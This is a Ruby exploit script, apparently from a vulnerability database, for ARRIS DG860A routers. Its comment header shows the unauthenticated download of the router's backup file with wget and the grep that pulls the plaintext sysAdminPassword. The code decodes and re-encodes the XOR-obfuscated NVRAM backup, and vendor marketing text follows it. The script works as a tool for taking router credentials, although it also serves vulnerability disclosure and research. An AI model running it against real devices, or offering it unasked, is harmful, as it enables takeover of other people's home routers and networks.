#!/usr/bin/env ruby
# ARRIS DG860A NVRAM Backup 'Compressor/Decompressor', it really does xor?
# Gleaned from sc_mix executable in firmware dump.
#
# Backup file is world readable without authentication and contains password
# information in plain text.
#
# box:arris-dev cosmo$ wget http://192.168.0.1/router.data
# --2013-10-17 18:21:28-- http://192.168.0.1/router.data
# Connecting to 192.168.0.1:80... connected.
# HTTP request sent, awaiting response... 200 OK
# Length: 3518 (3.4K) [application/octet-stream]
# Saving to: ‘router.data’
#
# 100%[=============================================================================================================>] 3,518 --.-K/s in 0s
#
# 2013-10-17 18:21:28 (108 MB/s) - ‘router.data’ saved [3518/3518]
#
# box:arris-dev cosmo$ tar vxf router.data
# x backup/
# x backup/sc_nvram.usr.sc
# x backup/sc_nvram.sc
# box:arris-dev cosmo$ sudo ./sc_mix.rb -u -s backup/sc_nvram.usr.sc -d sc_nvram_dump
# Password:
# box:arris-dev cosmo$ cat sc_nvram_dump | tr "\000\000" "\000" | tr "\000" "\n" | grep sysAdminPassword
# sysAdminPassword[0]=test123
# box:arris-dev cosmo$
#
#
#
require 'optparse'
require 'highline/import'
require 'zlib'
def Compress(infile, outfile)
instream = nil
outstream = nil
size = 0
calculatedcrc = 0
data=''
size = File.size?(infile)
instream = File.open(infile,'r')
data = instream.read()
data = data.bytes.map { |a| a ^ 0xFFFFFFAA }.pack('c*')
instream.close() if !instream.nil?
outstream = File.open(outfile,'w')
outstream.write("\x00NOF")
outstream.write([size].pack('L>'))
calculatedcrc = Zlib::crc32(data)
outstream.write([calculatedcrc].pack('L>'))
outstream.write([size].pack('L>'))
outstream.write("\x00\x00\x00\x00" * 6)
outstream.write(data)
outstream.close() if !outstream.nil?
end
def Decompress(infile, outfile)
instream = nil
outstream = nil
size = 0
embeddedcrc = 0
calculatedcrc = 0
data=''
if !(File::size?(infile) >= 0x28)
puts "[ERROR]: Source file size is insufficient(Smaller then 0x28 bytes)"
exit
end
instream = File::open(infile,'r')
if instream.read(4) != "\x00NOF"
instream.close() if !instream.nil?
puts "[ERROR]: Source file contains invalid magic(\\x00NOF)"
exit
end
size = instream.read(4).unpack("L>")[0]
embeddedcrc = instream.read(4).unpack("L>")[0]
if !(File.size?(infile) >= (0x28+size))
puts "[ERROR]: Source file size if insufficient(Smaller then 0x" + (0x28+minsize).to_s(16) + ")"
instream.close() if !instream.nil?
end
instream.seek(0x28,IO::SEEK_SET)
data = instream.read(size)
calculatedcrc = Zlib::crc32(data)
if embeddedcrc != calculatedcrc
puts "[ERROR]: Checksum mismatch"
instream.close() if !instream.nil?
exit
end
outstream = File::open(outfile,'w')
outstream.write(data.bytes.map { |a| a ^ 0xFFFFFFAA }.pack('c*'))
instream.close() if !instream.nil?
outstream.close() if !outstream.nil?
end
#begin
if __FILE__ == $0
options = {}
opt_parser = OptionParser.new do |opts|
opts.banner = "Usage: sc_mix.rb -s <Src_PATH> -d <Dest_PATH>"
opts.separator "Usage:"
opts.on('-s', '--source Src_PATH', 'Source File') { |v| options[:source_file] = v }
opts.on('-d', '--destination Dest_PATH', 'Destination File') { |v| options[:destination_file] = v }
opts.on('-u', 'Uncompress') { options[:uncompress] = true }
opts.on_tail("-h", "Show this message") do
puts opts
exit
end
end
opt_parser.parse!
if options[:source_file].nil? or options[:destination_file].nil?
puts opt_parser
exit
end
if !File::exists?(options[:source_file]) or !File::readable?(options[:source_file])
puts "[ERROR]: File does not exist or there are insufficient privileges(sudo?)"
exit
end
if File::exists?(options[:destination_file])
if !agree("[ERROR]: File exists attempt to overwrite[yes/no]? ")
exit
end
if !File::writable?(options[:destination_file])
puts "[ERROR]: File is not writeable is there insufficient privileges(sudo?)"
exit
end
end
if !options[:uncompress]
puts "[WARNING]: Compression is currently beta"
Compress(options[:source_file], options[:destination_file])
else
Decompress(options[:source_file], options[:destination_file])
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation